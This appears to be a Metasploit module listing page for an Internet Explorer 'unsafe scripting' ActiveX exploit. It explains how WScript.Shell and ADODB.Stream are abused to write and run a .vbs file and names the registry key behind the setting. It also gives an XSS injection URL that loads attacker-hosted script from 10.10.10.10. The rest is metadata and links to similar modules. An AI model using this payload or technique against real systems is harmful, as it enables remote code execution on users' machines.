Internet Explorer Unsafe Scripting Misconfiguration

This exploit takes advantage of the "Initialize and script ActiveX controls not marked safe for scripting" setting within Internet Explorer. When this option is set, IE allows access to the WScript.Shell ActiveX control, which allows javascript to interact with the file system and run commands. This security flaw is not uncommon in corporate environments for the 'Intranet' or 'Trusted Site' zones. In order to save binary data to the file system, ADODB.Stream access is required, which in IE7 will trigger a cross domain access violation. As such, we write the code to a .vbs file and execute it from there, where no such restrictions exist. When set via domain policy, the most common registry entry to modify is HKLM\ Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201, which if set to '0' forces ActiveX controls not marked safe for scripting to be enabled for the Intranet zone. This module creates a javascript/html hybrid that will render correctly either via a direct GET http://msf-server/ or as a javascript include, such as in: http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js> </script>.

Search Other Modules

Exploit Rank

• Excellent

Exploit Authors

• natron < natron [at] metasploit.com >

Vulnerability References

• http://support.microsoft.com/kb/182569
• http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module....

Exploit Targets

• 0 - Automatic (default)

Exploit Development

• Source Code
• History

Similar Exploit Modules

• exploit/windows/browser/adobe_cooltype_sing
• exploit/windows/browser/adobe_flash_mp4_cprt
• exploit/windows/browser/adobe_flash_sps
• exploit/windows/browser/adobe_flashplayer_avm
• exploit/windows/browser/adobe_flashplayer_flash10o
• exploit/windows/browser/adobe_flashplayer_newfunction
• exploit/windows/browser/adobe_flatedecode_predictor02
• exploit/windows/browser/adobe_geticon
• exploit/windows/browser/adobe_jbig2decode
• exploit/windows/browser/adobe_media_newplayer

Exploit Usage Information

Exploit Module Options